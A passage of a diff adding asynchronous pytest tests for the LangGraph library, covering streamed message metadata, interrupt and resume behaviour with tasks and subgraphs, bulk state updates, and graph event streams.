tasks.""" + + @task + async def foo(store: BaseStore, writer: StreamWriter, value: Any) -> None: + assert store is value + assert writer is value + + @entrypoint(store=async_store) + async def main(inputs, store: BaseStore) -> str: + assert store is not None + await foo(store=None, writer=None, value=None) + await foo(store="hello", writer="hello", value="hello") + return "OK" + + assert await main.ainvoke({}) == "OK" + + +async def test_tags_stream_mode_messages() -> None: + model = GenericFakeChatModel(messages=iter(["foo"]), tags=["meow"]) + + async def call_model(state, config): + return {"messages": await model.ainvoke(state["messages"], config)} + + graph = ( + StateGraph(MessagesState) + .add_node(call_model) + .add_edge(START, "call_model") + .compile() + ) + assert [ + c + async for c in graph.astream( + { + "messages": "hi", + }, + stream_mode="messages", + ) + ] == [ + ( + _AnyIdAIMessageChunk(content="foo", chunk_position="last"), + { + "langgraph_step": 1, + "langgraph_node": "call_model", + "langgraph_triggers": ("branch:to:call_model",), + "langgraph_path": ("__pregel_pull", "call_model"), + "langgraph_checkpoint_ns": AnyStr("call_model:"), + "checkpoint_ns": AnyStr("call_model:"), + "ls_provider": "genericfakechatmodel", + "ls_model_type": "chat", + "ls_integration": "langchain_chat_model", + "lc_versions": {"langchain-core": LANGCHAIN_CORE_VERSION}, + "tags": ["meow"], + }, + ) + ] + + +async def test_configurable_propagates_to_stream_metadata() -> None: + """Regression: thread_id, run_id, assistant_id, graph_id, + and langgraph_auth_user_id from configurable must appear + in stream_mode='messages' metadata.""" + + def my_node(state): + return {"messages": HumanMessage(content="hello")} + + graph = ( + StateGraph(MessagesState) + .add_node("my_node", my_node) + .add_edge(START, "my_node") + .compile() + ) + + config = { + "configurable": { + "thread_id": "th-123", + "checkpoint_id": "ckpt-1", + "checkpoint_ns": "ns-1", + "task_id": "task-1", + "run_id": "run-456", + "assistant_id": "asst-789", + "graph_id": "graph-0", + "model": "gpt-4o", + "user_id": "uid-1", + "cron_id": "cron-1", + "langgraph_auth_user_id": "user-1", + # these should NOT be propagated into metadata + "some_api_key": "secret", + "custom_setting": {"nested": True}, + }, + } + results = [ + chunk + async for chunk in graph.astream( + {"messages": []}, config, stream_mode="messages" + ) + ] + assert len(results) == 1 + _, metadata = results[0] + # propagated keys + assert metadata["thread_id"] == "th-123" + assert metadata["checkpoint_id"] == "ckpt-1" + assert metadata["checkpoint_ns"] == "ns-1" + assert metadata["task_id"] == "task-1" + assert metadata["run_id"] == "run-456" + assert metadata["assistant_id"] == "asst-789" + assert metadata["graph_id"] == "graph-0" + + # These will only be traced as of langgraph 1.2 and not present by default in + # metadata + # assert metadata["model"] == "gpt-4o" + # assert metadata["user_id"] == "uid-1" + # assert metadata["cron_id"] == "cron-1" + # assert metadata["langgraph_auth_user_id"] == "user-1" + # non-allowlisted keys must not appear + assert "some_api_key" not in metadata + assert "custom_setting" not in metadata + + +async def test_stream_mode_messages_command() -> None: + from langchain_core.messages import HumanMessage + + async def my_node(state): + return {"messages": HumanMessage(content="foo")} + + async def my_other_node(state): + return Command(update={"messages": HumanMessage(content="bar")}) + + graph = ( + StateGraph(MessagesState) + .add_sequence([my_node, my_other_node]) + .add_edge(START, "my_node") + .compile() + ) + assert [ + c + async for c in graph.astream( + { + "messages": [], + }, + stream_mode="messages", + ) + ] == [ + ( + _AnyIdHumanMessage(content="foo"), + { + "ls_integration": "langgraph", + "langgraph_step": 1, + "langgraph_node": "my_node", + "langgraph_triggers": ("branch:to:my_node",), + "langgraph_path": ("__pregel_pull", "my_node"), + "langgraph_checkpoint_ns": AnyStr("my_node:"), + }, + ), + ( + _AnyIdHumanMessage(content="bar"), + { + "ls_integration": "langgraph", + "langgraph_step": 2, + "langgraph_node": "my_other_node", + "langgraph_triggers": ("branch:to:my_other_node",), + "langgraph_path": ("__pregel_pull", "my_other_node"), + "langgraph_checkpoint_ns": AnyStr("my_other_node:"), + }, + ), + ] + + +async def test_stream_messages_dedupe_inputs() -> None: + from langchain_core.messages import AIMessage + + async def call_model(state): + return {"messages": AIMessage("hi", id="1")} + + async def route(state): + return Command(goto="node_2", graph=Command.PARENT) + + subgraph = ( + StateGraph(MessagesState) + .add_node(call_model) + .add_node(route) + .add_edge(START, "call_model") + .add_edge("call_model", "route") + .compile() + ) + + graph = ( + StateGraph(MessagesState) + .add_node("node_1", subgraph) + .add_node("node_2", lambda state: state) + .add_edge(START, "node_1") + .compile() + ) + + chunks = [ + chunk + async for ns, chunk in graph.astream( + {"messages": "hi"}, stream_mode="messages", subgraphs=True + ) + ] + + assert len(chunks) == 1 + assert chunks[0][0] == AIMessage("hi", id="1") + assert chunks[0][1]["langgraph_node"] == "call_model" + + +async def test_stream_messages_dedupe_state( + async_checkpointer: BaseCheckpointSaver, +) -> None: + from langchain_core.messages import AIMessage + + to_emit = [AIMessage("bye", id="1"), AIMessage("bye again", id="2")] + + async def call_model(state): + return {"messages": to_emit.pop(0)} + + async def route(state): + return Command(goto="node_2", graph=Command.PARENT) + + subgraph = ( + StateGraph(MessagesState) + .add_node(call_model) + .add_node(route) + .add_edge(START, "call_model") + .add_edge("call_model", "route") + .compile() + ) + + graph = ( + StateGraph(MessagesState) + .add_node("node_1", subgraph) + .add_node("node_2", lambda state: state) + .add_edge(START, "node_1") + .compile(checkpointer=async_checkpointer) + ) + + thread1 = {"configurable": {"thread_id": "1"}} + + chunks = [ + chunk + async for ns, chunk in graph.astream( + {"messages": "hi"}, thread1, stream_mode="messages", subgraphs=True + ) + ] + + assert len(chunks) == 1 + assert chunks[0][0] == AIMessage("bye", id="1") + assert chunks[0][1]["langgraph_node"] == "call_model" + + chunks = [ + chunk + async for ns, chunk in graph.astream( + {"messages": "hi again"}, + thread1, + stream_mode="messages", + subgraphs=True, + ) + ] + + assert len(chunks) == 1 + assert chunks[0][0] == AIMessage("bye again", id="2") + assert chunks[0][1]["langgraph_node"] == "call_model" + + +@NEEDS_CONTEXTVARS +async def test_interrupt_subgraph_reenter_checkpointer_true( + async_checkpointer: BaseCheckpointSaver, +) -> None: + class SubgraphState(TypedDict): + foo: str + bar: str + + class ParentState(TypedDict): + foo: str + counter: int + + called = [] + bar_values = [] + + async def subnode_1(state: SubgraphState): + called.append("subnode_1") + bar_values.append(state.get("bar")) + return {"foo": "subgraph_1"} + + async def subnode_2(state: SubgraphState): + called.append("subnode_2") + value = interrupt("Provide value") + value += "baz" + return {"foo": "subgraph_2", "bar": value} + + subgraph = ( + StateGraph(SubgraphState) + .add_node(subnode_1) + .add_node(subnode_2) + .add_edge(START, "subnode_1") + .add_edge("subnode_1", "subnode_2") + .compile(checkpointer=True) + ) + + async def call_subgraph(state: ParentState): + called.append("call_subgraph") + return await subgraph.ainvoke(state) + + async def node(state: ParentState): + called.append("parent") + if state["counter"] < 1: + return Command( + goto="call_subgraph", update={"counter": state["counter"] + 1} + ) + + return {"foo": state["foo"] + "|" + "parent"} + + parent = ( + StateGraph(ParentState) + .add_node(call_subgraph) + .add_node(node) + .add_edge(START, "call_subgraph") + .add_edge("call_subgraph", "node") + .compile(checkpointer=async_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + assert await parent.ainvoke({"foo": "", "counter": 0}, config) == { + "foo": "", + "counter": 0, + "__interrupt__": [ + Interrupt( + value="Provide value", + id=AnyStr(), + ) + ], + } + assert await parent.ainvoke(Command(resume="bar"), config) == { + "foo": "subgraph_2", + "counter": 1, + "__interrupt__": [ + Interrupt( + value="Provide value", + id=AnyStr(), + ) + ], + } + assert await parent.ainvoke(Command(resume="qux"), config) == { + "foo": "subgraph_2|parent", + "counter": 1, + } + assert called == [ + "call_subgraph", + "subnode_1", + "subnode_2", + "call_subgraph", + "subnode_2", + "parent", + "call_subgraph", + "subnode_1", + "subnode_2", + "call_subgraph", + "subnode_2", + "parent", + ] + + # invoke parent again (new turn) + assert await parent.ainvoke({"foo": "meow", "counter": 0}, config) == { + "foo": "meow", + "counter": 0, + "__interrupt__": [ + Interrupt( + value="Provide value", + id=AnyStr(), + ) + ], + } + # confirm that we preserve the state values from the previous invocation + assert bar_values == [None, "barbaz", "quxbaz"] + + +@NEEDS_CONTEXTVARS +async def test_handles_multiple_interrupts_from_tasks( + async_checkpointer: BaseCheckpointSaver, +) -> None: + @task + async def add_participant(name: str) -> str: + feedback = interrupt(f"Hey do you want to add {name}?") + + if feedback is False: + return f"The user changed their mind and doesn't want to add {name}!" + + if feedback is True: + return f"Added {name}!" + + raise ValueError("Invalid feedback") + + @entrypoint(checkpointer=async_checkpointer) + async def program(_state: Any) -> list[str]: + first = await add_participant("James") + second = await add_participant("Will") + return [first, second] + + config = {"configurable": {"thread_id": "1"}} + + result = await program.ainvoke("this is ignored", config=config) + assert result == { + "__interrupt__": [ + Interrupt( + value="Hey do you want to add James?", + id=AnyStr(), + ), + ] + } + + state = await program.aget_state(config=config) + assert len(state.tasks[0].interrupts) == 1 + task_interrupt = state.tasks[0].interrupts[0] + assert task_interrupt.value == "Hey do you want to add James?" + + result = await program.ainvoke(Command(resume=True), config=config) + assert result == { + "__interrupt__": [ + Interrupt( + value="Hey do you want to add Will?", + id=AnyStr(), + ), + ] + } + + state = await program.aget_state(config=config) + assert len(state.tasks[0].interrupts) == 1 + task_interrupt = state.tasks[0].interrupts[0] + assert task_interrupt.value == "Hey do you want to add Will?" + + result = await program.ainvoke(Command(resume=True), config=config) + assert result is not None + assert len(result) == 2 + assert result[0] == "Added James!" + assert result[1] == "Added Will!" + + +@NEEDS_CONTEXTVARS +async def test_interrupts_in_tasks_surfaced_once( + async_checkpointer: BaseCheckpointSaver, +) -> None: + @task + async def add_participant(name: str) -> str: + feedback = interrupt(f"Hey do you want to add {name}?") + + if feedback is False: + return f"The user changed their mind and doesn't want to add {name}!" + + if feedback is True: + return f"Added {name}!" + + raise ValueError("Invalid feedback") + + @entrypoint(checkpointer=async_checkpointer) + async def program(_state: Any) -> list[str]: + first = await add_participant("James") + second = await add_participant("Will") + return [first, second] + + config = {"configurable": {"thread_id": "1"}} + + interrupts = [ + e + async for e in program.astream("this is ignored", config=config) + if "__interrupt__" in e + ] + assert len(interrupts) == 1 + + state = await program.aget_state(config=config) + assert len(state.tasks[0].interrupts) == 1 + task_interrupt = state.tasks[0].interrupts[0] + assert task_interrupt.value == "Hey do you want to add James?" + + interrupts = [ + e + async for e in program.astream(Command(resume=True), config=config) + if "__interrupt__" in e + ] + assert len(interrupts) == 1 + + state = await program.aget_state(config=config) + assert len(state.tasks[0].interrupts) == 1 + task_interrupt = state.tasks[0].interrupts[0] + assert task_interrupt.value == "Hey do you want to add Will?" + + result = await program.ainvoke(Command(resume=True), config=config) + assert result is not None + assert len(result) == 2 + assert result[0] == "Added James!" + assert result[1] == "Added Will!" + + +@NEEDS_CONTEXTVARS +async def test_task_before_interrupt_resume( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Test that Command(resume=value) works correctly when a @task runs + before interrupt-producing tasks in an @entrypoint. + + The @task wrapper on both setup and ask is essential to reproduce the bug: + - @task on setup triggers a mid-step put_writes (creating a new pending_writes list) + - @task on ask means interrupt() runs in a child scratchpad that must + delegate to the parent for null resume consumption tracking + """ + + @entrypoint(checkpointer=async_checkpointer) + async def workflow(number_of_topics: int) -> dict: + @task + async def setup() -> int: + return number_of_topics + + @task + async def ask(question: str) -> str: + return interrupt(question) + + n = await setup() + + answers = [] + for i in range(n): + q = f"Whats the answer for topic {i + 1}?" + answers.append(await ask(q)) + + return {"answers": answers} + + config = {"configurable": {"thread_id": "1"}} + + # First invocation - should get first interrupt + result = await workflow.ainvoke(2, config=config) + assert "__interrupt__" in result + assert len(result["__interrupt__"]) == 1 + assert result["__interrupt__"][0].value == "Whats the answer for topic 1?" + + # Resume with answer for topic 1 - should get second interrupt + result = await workflow.ainvoke(Command(resume="answer1"), config=config) + assert "__interrupt__" in result, f"Expected interrupt for topic 2, got: {result}" + assert len(result["__interrupt__"]) == 1 + assert result["__interrupt__"][0].value == "Whats the answer for topic 2?" + + # Resume with answer for topic 2 - should get final result + result = await workflow.ainvoke(Command(resume="answer2"), config=config) + assert result == {"answers": ["answer1", "answer2"]} + + +@NEEDS_CONTEXTVARS +async def test_multiple_tasks_before_interrupt_resume( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Test that Command(resume=value) works correctly when multiple @tasks + run before an interrupt-producing task in an @entrypoint.""" + + @entrypoint(checkpointer=async_checkpointer) + async def workflow(inputs: dict) -> dict: + @task + async def step_a(x: int) -> int: + return x + 1 + + @task + async def step_b(x: int) -> int: + return x * 2 + + @task + async def ask(question: str) -> str: + return interrupt(question) + + a = await step_a(inputs["x"]) + b = await step_b(a) + + answer = await ask(f"Result so far is {b}. What next?") + + return {"computed": b, "answer": answer} + + config = {"configurable": {"thread_id": "1"}} + + # First invocation - should get interrupt + result = await workflow.ainvoke({"x": 5}, config=config) + assert "__interrupt__" in result + assert result["__interrupt__"][0].value == "Result so far is 12. What next?" + + # Resume + result = await workflow.ainvoke(Command(resume="continue"), config=config) + assert result == {"computed": 12, "answer": "continue"} + + +@NEEDS_CONTEXTVARS +async def test_no_redundant_put_writes_for_cached_task( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Cached @tasks on resume must not trigger redundant put_writes.""" + from unittest.mock import patch + + from langgraph.pregel._loop import PregelLoop + + @task + async def setup(x: int) -> int: + return x + + @task + async def ask(question: str) -> str: + return interrupt(question) + + @entrypoint(checkpointer=async_checkpointer) + async def workflow(x: int) -> dict: + n = await setup(x) + answer = await ask(f"q{n}") + return {"answer": answer} + + config = {"configurable": {"thread_id": "1"}} + result = await workflow.ainvoke(1, config=config) + assert "__interrupt__" in result + + put_writes_task_ids: list[str] = [] + orig = PregelLoop.put_writes + + def spy(self, task_id, writes): + put_writes_task_ids.append(task_id) + return orig(self, task_id, writes) + + with patch.object(PregelLoop, "put_writes", spy): + result = await workflow.ainvoke(Command(resume="ans"), config=config) + + assert result == {"answer": "ans"} + # Count unique non-null task IDs that got put_writes. + # Should be exactly 2: the ask task and the entrypoint task. + # If 3, the cached setup task is being redundantly re-committed. + non_null = set(tid for tid in put_writes_task_ids if not tid.startswith("00000000")) + assert len(non_null) == 2, ( + f"Expected 2 task IDs in put_writes (ask + entrypoint), got {len(non_null)}" + ) + + +@NEEDS_CONTEXTVARS +async def test_node_before_interrupt_resume_graph_api( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Test that Command(resume=value) works correctly in a StateGraph when a + node runs before a node that calls interrupt(). This is the graph-API + analog of test_task_before_interrupt_resume (entrypoint API).""" + + class State(TypedDict): + topics: list[str] + answers: Annotated[list[str], operator.add] + + def setup(state: State) -> dict: + return {"topics": [f"topic {i + 1}" for i in range(len(state["topics"]))]} + + def ask(state: State) -> dict: + answers = [] + for topic in state["topics"]: + answer = interrupt(f"Whats the answer for {topic}?") + answers.append(answer) + return {"answers": answers} + + graph = ( + StateGraph(State) + .add_node("setup", setup) + .add_node("ask", ask) + .add_edge(START, "setup") + .add_edge("setup", "ask") + .add_edge("ask", END) + .compile(checkpointer=async_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # First invocation - setup runs, then ask interrupts on the first topic + result = await graph.ainvoke({"topics": ["a", "b"], "answers": []}, config=config) + assert "__interrupt__" in result + assert len(result["__interrupt__"]) == 1 + assert result["__interrupt__"][0].value == "Whats the answer for topic 1?" + + # Resume with answer for topic 1 - should get second interrupt + result = await graph.ainvoke(Command(resume="answer1"), config=config) + assert "__interrupt__" in result, f"Expected interrupt for topic 2, got: {result}" + assert len(result["__interrupt__"]) == 1 + assert result["__interrupt__"][0].value == "Whats the answer for topic 2?" + + # Resume with answer for topic 2 - should complete + result = await graph.ainvoke(Command(resume="answer2"), config=config) + assert result == { + "topics": ["topic 1", "topic 2"], + "answers": ["answer1", "answer2"], + } + + +@NEEDS_CONTEXTVARS +async def test_multiple_nodes_before_interrupt_resume_graph_api( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Test that Command(resume=value) works correctly in a StateGraph when + multiple nodes run before a node that calls interrupt(). This is the + graph-API analog of test_multiple_tasks_before_interrupt_resume.""" + + class State(TypedDict): + value: int + answer: str + + def step_a(state: State) -> dict: + return {"value": state["value"] + 1} + + def step_b(state: State) -> dict: + return {"value": state["value"] * 2} + + def ask(state: State) -> dict: + answer = interrupt(f"Result so far is {state['value']}. What next?") + return {"answer": answer} + + graph = ( + StateGraph(State) + .add_node("step_a", step_a) + .add_node("step_b", step_b) + .add_node("ask", ask) + .add_edge(START, "step_a") + .add_edge("step_a", "step_b") + .add_edge("step_b", "ask") + .add_edge("ask", END) + .compile(checkpointer=async_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # First invocation - step_a and step_b run, then ask interrupts + result = await graph.ainvoke({"value": 5, "answer": ""}, config=config) + assert "__interrupt__" in result + assert result["__interrupt__"][0].value == "Result so far is 12. What next?" + + # Resume - should complete + result = await graph.ainvoke(Command(resume="continue"), config=config) + assert result == {"value": 12, "answer": "continue"} + + +@NEEDS_CONTEXTVARS +async def test_node_before_multiple_interrupt_cycles_graph_api( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Test that a node running before an interrupt node does not interfere + with multiple interrupt/resume cycles in a StateGraph.""" + + class State(TypedDict): + count: int + data: str + + def prepare(state: State) -> dict: + return {"count": state["count"] + 10} + + def multi_interrupt(state: State) -> dict: + first = interrupt("First question?") + second = interrupt("Second question?") + return {"data": f"{first},{second}"} + + graph = ( + StateGraph(State) + .add_node("prepare", prepare) + .add_node("multi_interrupt", multi_interrupt) + .add_edge(START, "prepare") + .add_edge("prepare", "multi_interrupt") + .add_edge("multi_interrupt", END) + .compile(checkpointer=async_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # First invocation - prepare runs, multi_interrupt hits first interrupt + result = await graph.ainvoke({"count": 0, "data": ""}, config=config) + assert "__interrupt__" in result + assert result["__interrupt__"][0].value == "First question?" + + # Resume first interrupt - hits second interrupt + result = await graph.ainvoke(Command(resume="first_answer"), config=config) + assert "__interrupt__" in result + assert result["__interrupt__"][0].value == "Second question?" + + # Resume second interrupt - completes + result = await graph.ainvoke(Command(resume="second_answer"), config=config) + assert result == {"count": 10, "data": "first_answer,second_answer"} + + +async def test_pregel_loop_refcount(): + gc.collect() + try: + gc.disable() + + class State(TypedDict): + messages: Annotated[list, add_messages] + + graph_builder = StateGraph(State) + + async def chatbot(state: State): + return {"messages": [("ai", "HIYA")]} + + graph_builder.add_node("chatbot", chatbot) + graph_builder.set_entry_point("chatbot") + graph_builder.set_finish_point("chatbot") + graph = graph_builder.compile() + + for _ in range(5): + await graph.ainvoke({"messages": [{"role": "user", "content": "hi"}]}) + assert ( + len( + [ + obj + for obj in gc.get_objects() + if isinstance(obj, AsyncPregelLoop) + ] + ) + == 0 + ) + assert ( + len([obj for obj in gc.get_objects() if isinstance(obj, PregelRunner)]) + == 0 + ) + finally: + gc.enable() + + +async def test_bulk_state_updates(async_checkpointer: BaseCheckpointSaver) -> None: + class State(TypedDict): + foo: str + baz: str + + def node_a(state: State) -> State: + return {"foo": "bar"} + + def node_b(state: State) -> State: + return {"baz": "qux"} + + graph = ( + StateGraph(State) + .add_node("node_a", node_a) + .add_node("node_b", node_b) + .add_edge(START, "node_a") + .add_edge("node_a", "node_b") + .compile(checkpointer=async_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # First update with node_a + await graph.abulk_update_state( + config, + [ + [ + StateUpdate({"foo": "bar"}, "node_a"), + ] + ], + ) + + # Then bulk update with both nodes + await graph.abulk_update_state( + config, + [ + [ + StateUpdate({"foo": "updated"}, "node_a"), + StateUpdate({"baz": "new"}, "node_b"), + ] + ], + ) + + state = await graph.aget_state(config) + assert state.values == {"foo": "updated", "baz": "new"} + + # Check if there are only two checkpoints + checkpoints = [ + c async for c in async_checkpointer.alist({"configurable": {"thread_id": "1"}}) + ] + assert len(checkpoints) == 2 + + # perform multiple steps at the same time + config = {"configurable": {"thread_id": "2"}} + + await graph.abulk_update_state( + config, + [ + [ + StateUpdate({"foo": "bar"}, "node_a"), + ], + [ + StateUpdate({"foo": "updated"}, "node_a"), + StateUpdate({"baz": "new"}, "node_b"), + ], + ], + ) + + state = await graph.aget_state(config) + assert state.values == {"foo": "updated", "baz": "new"} + + checkpoints = [ + c async for c in async_checkpointer.alist({"configurable": {"thread_id": "1"}}) + ] + assert len(checkpoints) == 2 + + # Should raise error if updating without as_node + with pytest.raises(InvalidUpdateError): + await graph.abulk_update_state( + config, + [ + [ + StateUpdate(values={"foo": "error"}, as_node=None), + StateUpdate(values={"bar": "error"}, as_node=None), + ] + ], + ) + + # Should raise if no updates are provided + with pytest.raises(ValueError, match="No supersteps provided"): + await graph.abulk_update_state(config, []) + + # Should raise if no updates are provided + with pytest.raises(ValueError, match="No updates provided"): + await graph.abulk_update_state(config, [[], []]) + + # Should raise if __end__ or __copy__ update is applied in bulk + with pytest.raises(InvalidUpdateError): + await graph.abulk_update_state( + config, + [ + [ + StateUpdate(values=None, as_node="__end__"), + StateUpdate(values=None, as_node="__copy__"), + ], + ], + ) + + +async def test_update_as_input( + async_checkpointer: BaseCheckpointSaver, durability: Durability +) -> None: + class State(TypedDict): + foo: str + + def agent(state: State) -> State: + return {"foo": "agent"} + + def tool(state: State) -> State: + return {"foo": "tool"} + + graph = ( + StateGraph(State) + .add_node("agent", agent) + .add_node("tool", tool) + .add_edge(START, "agent") + .add_edge("agent", "tool") + .compile(checkpointer=async_checkpointer) + ) + + assert await graph.ainvoke( + {"foo": "input"}, + {"configurable": {"thread_id": "1"}}, + durability=durability, + ) == {"foo": "tool"} + + assert await graph.ainvoke( + {"foo": "input"}, + {"configurable": {"thread_id": "1"}}, + durability=durability, + ) == {"foo": "tool"} + + def map_snapshot(i: StateSnapshot) -> dict: + return { + "values": i.values, + "next": i.next, + "step": i.metadata.get("step"), + } + + history = [ + map_snapshot(s) + async for s in graph.aget_state_history({"configurable": {"thread_id": "1"}}) + ] + + await graph.abulk_update_state( + {"configurable": {"thread_id": "2"}}, + [ + # First turn + [StateUpdate({"foo": "input"}, "__input__")], + [StateUpdate({"foo": "input"}, "__start__")], + [StateUpdate({"foo": "agent"}, "agent")], + [StateUpdate({"foo": "tool"}, "tool")], + # Second turn + [StateUpdate({"foo": "input"}, "__input__")], + [StateUpdate({"foo": "input"}, "__start__")], + [StateUpdate({"foo": "agent"}, "agent")], + [StateUpdate({"foo": "tool"}, "tool")], + ], + ) + + state = await graph.aget_state({"configurable": {"thread_id": "2"}}) + assert state.values == {"foo": "tool"} + + new_history = [ + map_snapshot(s) + async for s in graph.aget_state_history({"configurable": {"thread_id": "2"}}) + ] + + if durability != "exit": + assert new_history == history + else: + assert [new_history[0], new_history[4]] == history + + +async def test_batch_update_as_input( + async_checkpointer: BaseCheckpointSaver, durability: Durability +) -> None: + class State(TypedDict): + foo: str + tasks: Annotated[list[int], operator.add] + + def agent(state: State) -> State: + return {"foo": "agent"} + + def map(state: State) -> Command["task"]: + return Command( + goto=[ + Send("task", {"index": 0}), + Send("task", {"index": 1}), + Send("task", {"index": 2}), + ], + update={"foo": "map"}, + ) + + def task(state: dict) -> State: + return {"tasks": [state["index"]]} + + graph = ( + StateGraph(State) + .add_node("agent", agent) + .add_node("map", map) + .add_node("task", task) + .add_edge(START, "agent") + .add_edge("agent", "map") + .compile(checkpointer=async_checkpointer) + ) + + assert await graph.ainvoke( + {"foo": "input"}, + {"configurable": {"thread_id": "1"}}, + durability=durability, + ) == {"foo": "map", "tasks": [0, 1, 2]} + + def map_snapshot(i: StateSnapshot) -> dict: + return { + "values": i.values, + "next": i.next, + "step": i.metadata.get("step"), + "tasks": [t.name for t in i.tasks], + } + + history = [ + map_snapshot(s) + async for s in graph.aget_state_history({"configurable": {"thread_id": "1"}}) + ] + + await graph.abulk_update_state( + {"configurable": {"thread_id": "2"}}, + [ + [StateUpdate({"foo": "input"}, "__input__")], + [StateUpdate({"foo": "input"}, "__start__")], + [StateUpdate({"foo": "agent", "tasks": []}, "agent")], + [ + StateUpdate( + Command( + goto=[ + Send("task", {"index": 0}), + Send("task", {"index": 1}), + Send("task", {"index": 2}), + ], + update={"foo": "map"}, + ), + "map", + ) + ], + [ + StateUpdate({"tasks": [0]}, "task"), + StateUpdate({"tasks": [1]}, "task"), + StateUpdate({"tasks": [2]}, "task"), + ], + ], + ) + + state = await graph.aget_state({"configurable": {"thread_id": "2"}}) + assert state.values == {"foo": "map", "tasks": [0, 1, 2]} + + new_history = [ + map_snapshot(s) + async for s in graph.aget_state_history({"configurable": {"thread_id": "2"}}) + ] + + if durability != "exit": + assert new_history == history + else: + assert new_history[:1] == history + + +async def test_draw_invalid(): + from langchain_core.messages import BaseMessage + + class AgentState(TypedDict): + messages: Annotated[list[BaseMessage], add_messages] + + workflow = StateGraph(AgentState) + + async def call_model(state: AgentState) -> AgentState: + return state + + async def call_tool(state: AgentState) -> AgentState: + return state + + async def do_nothing(state: AgentState) -> AgentState: + return state + + def should_continue(state): + messages = state["messages"] + last_message = messages[-1] + if last_message.content.startswith("end"): + return END + else: + return [Send("tool", last_message), Send("nothing", last_message)] + + workflow.add_node("agent", call_model) + workflow.add_node("tool", call_tool) + workflow.add_node("nothing", do_nothing) + workflow.set_entry_point("agent") + workflow.add_conditional_edges( + "agent", + should_continue, + path_map=["tool", "nothing", END], + ) + workflow.add_edge("tool", "agent") + + graph = workflow.compile() + + assert graph.get_graph().to_json() == { + "nodes": [ + { + "id": "__start__", + "type": "runnable", + "data": { + "id": ["langgraph", "_internal", "_runnable", "RunnableCallable"], + "name": "__start__", + }, + }, + { + "id": "agent", + "type": "runnable", + "data": { + "id": ["langgraph", "_internal", "_runnable", "RunnableCallable"], + "name": "agent", + }, + }, + { + "id": "tool", + "type": "runnable", + "data": { + "id": ["langgraph", "_internal", "_runnable", "RunnableCallable"], + "name": "tool", + }, + }, + { + "id": "nothing", + "type": "runnable", + "data": { + "id": ["langgraph", "_internal", "_runnable", "RunnableCallable"], + "name": "nothing", + }, + }, + {"id": "__end__"}, + ], + "edges": [ + {"source": "__start__", "target": "agent"}, + {"source": "agent", "target": "__end__", "conditional": True}, + {"source": "agent", "target": "nothing", "conditional": True}, + {"source": "agent", "target": "tool", "conditional": True}, + {"source": "tool", "target": "agent"}, + {"source": "nothing", "target": "__end__"}, + ], + } + + +@NEEDS_CONTEXTVARS +async def test_imp_exception( + async_checkpointer: BaseCheckpointSaver, +) -> None: + @task() + async def my_task(number: int): + await asyncio.sleep(0.1) + return number * 2 + + @task() + async def task_with_exception(number: int): + await asyncio.sleep(0.1) + raise Exception("This is a test exception") + + @entrypoint(checkpointer=async_checkpointer) + async def my_workflow(number: int): + await my_task(number) + try: + await task_with_exception(number) + except Exception as e: + print(f"Exception caught: {e}") + await my_task(number) + return "done" + + thread1 = {"configurable": {"thread_id": "1"}} + assert await my_workflow.ainvoke(1, thread1) == "done" + + assert [c async for c in my_workflow.astream(1, thread1)] == [ + {"my_task": 2}, + {"my_task": 2}, + {"my_workflow": "done"}, + ] + + events = [c async for c in my_workflow.astream_events(1, thread1)] + assert [(event["event"], event["name"]) for event in events] == [ + ("on_chain_start", "LangGraph"), + ("on_chain_start", "my_workflow"), + ("on_chain_start", "my_task"), + ("on_chain_stream", "my_task"), + ("on_chain_end", "my_task"), + ("on_chain_stream", "LangGraph"), + ("on_chain_start", "task_with_exception"), + ("on_chain_start", "my_task"), + ("on_chain_stream", "my_task"), + ("on_chain_end", "my_task"), + ("on_chain_stream", "my_workflow"), + ("on_chain_stream", "LangGraph"), + ("on_chain_end", "my_workflow"), + ("on_chain_stream", "LangGraph"), + ("on_chain_end", "LangGraph"), + ] + + root_events = [event for event in events if event["name"] == "LangGraph"] + for event in root_events: + assert event["tags"] == [] + assert event["metadata"]["thread_id"] == "1" + assert event["metadata"]["ls_integration"] == "langgraph" + assert event["parent_ids"] == [] + + workflow_events = [event for event in events if event["name"] == "my_workflow"] + for event in workflow_events: + assert event["tags"] == ["graph:step:4"] + metadata = event["metadata"] + assert metadata["thread_id"] == "1" + assert metadata["ls_integration"] == "langgraph" + assert metadata["langgraph_step"] == 4 + assert metadata["langgraph_node"] == "my_workflow" + assert metadata["langgraph_triggers"] == ("__start__",) + assert metadata["langgraph_path"] == ("__pregel_pull", "my_workflow") + assert isinstance(metadata["langgraph_checkpoint_ns"], str) + assert len(event["parent_ids"]) == 1 + + task_events = [event for event in events if event["name"] == "my_task"] + assert len(task_events) == 6 + for event in task_events: + assert event["tags"] == ["seq:step:1"] + metadata = event["metadata"] + assert metadata["thread_id"] == "1" + assert metadata["ls_integration"] == "langgraph" + assert metadata["langgraph_step"] == 4 + assert metadata["langgraph_node"] == "my_task" + assert metadata["langgraph_triggers"] == ("__pregel_push",) + assert metadata["langgraph_path"][:2] == ( + "__pregel_push", + ("__pregel_pull", "my_workflow"), + ) + assert metadata["langgraph_path"][-1] is True + assert isinstance(metadata["langgraph_checkpoint_ns"], str) + assert len(event["parent_ids"]) == 2 + + task_with_exception_event = next( + event for event in events if event["name"] == "task_with_exception" + ) + assert task_with_exception_event["event"] == "on_chain_start" + assert task_with_exception_event["data"] == {"input": {"number": 1}} + assert task_with_exception_event["tags"] == ["seq:step:1"] + metadata = task_with_exception_event["metadata"] + assert metadata["thread_id"] == "1" + assert metadata["ls_integration"] == "langgraph" + assert metadata["langgraph_step"] == 4 + assert metadata["langgraph_node"] == "task_with_exception" + assert metadata["langgraph_triggers"] == ("__pregel_push",) + assert metadata["langgraph_path"][:2] == ( + "__pregel_push", + ("__pregel_pull", "my_workflow"), + ) + assert metadata["langgraph_path"][-1] is True + assert isinstance(metadata["langgraph_checkpoint_ns"], str) + assert len(task_with_exception_event["parent_ids"]) == 2 + + assert [ + event["data"] + for event in events + if event["event"] == "on_chain_stream" and event["name"] == 